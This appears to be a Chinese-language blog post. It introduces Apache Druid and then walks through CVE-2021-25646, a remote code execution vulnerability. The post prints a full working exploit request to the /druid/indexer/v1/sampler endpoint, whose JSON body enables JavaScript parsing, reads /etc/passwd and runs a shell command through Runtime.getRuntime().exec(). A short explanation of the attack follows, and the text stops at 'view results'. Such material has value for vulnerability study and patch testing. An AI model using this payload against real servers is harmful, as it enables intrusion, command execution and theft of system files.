详细介绍：Apache Druid

目录

什么？就是Apache Druid

CVE-2021-25646(Apache Druid代码执行漏洞)

---

Apache Druid是什么？

        Apache Druid是一个高性能、分布式的数据存储和分析系统。设计用于处理大量实时数据，并进行低延迟的查询。它特别适合用于分析大规模日志、事件数据和时间序列函数数据。Druid支持快速聚合查询，并能够在数秒钟内处理百万条数据。通常用于构建实时数据分析平台，广泛应用于金融，广告、loT等领域。

Druid的特点包括;

• 高吞吐量和低延迟：支持快速材料插入和查询，适合实时数据分析。
• 可扩展性：可以在分布式环境中水平扩展，处理大量数据。
• 灵活的查询能力：支持复杂的聚合、过滤和分组操作，能够应对大素材查询需求。
• 容错性：通过数据复制和分布式架构，确保高可用性和数据的持久性。

Druid核心应用场景包括实时数据分析、BI、仪表盘以及事件流分析。 

CVE-2021-25646(Apache Druid代码执行漏洞)

漏洞成因:Apache Druid包括执行嵌入在各种请求中的用户提供的JavaScript代码的能力。该功能是为了在可信环境下，并且默认是禁用得。但是在Druid 0.20.0及以前版本，攻击者通过发送一个恶意请求是Druid用内置引擎执行任意的JavaScript代码，且服务器配置无效。

具体原理:https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

步骤1:构造恶意数据包发送

POST /druid/indexer/v1/sampler HTTP/1.1Host: your-ip:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/json {    "type":"index",    "spec":{        "ioConfig":{            "type":"index",            "firehose":{                "type":"local",                "baseDir":"/etc",                "filter":"passwd"            }        },        "dataSchema":{            "dataSource":"test",            "parser":{                "parseSpec":{                "format":"javascript",                "timestampSpec":{                 },                "dimensionsSpec":{                 },                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",                "":{                    "enabled":"true"                }                }            }        }    },    "samplerConfig":{        "numRows":10    }}

1. ‌漏洞利用点‌

• 通过/druid/indexer/v1/sampler接口发送恶意JSON数据
• firehose配置尝试读取系统敏感文件/etc/passwd
• JavaScript解析器中的function字段包含恶意代码，通过Runtime.getRuntime().exec()执行系统命令"id"

1. ‌攻击特征‌

• 使用java.util.Scanner和Runtime.getRuntime()实现命令注入
• 通过useDelimiter("\\A").next()获取命令执行结果
• 伪造正常数据结构包含timestampSpec等字段进行伪装

步骤2:查看结果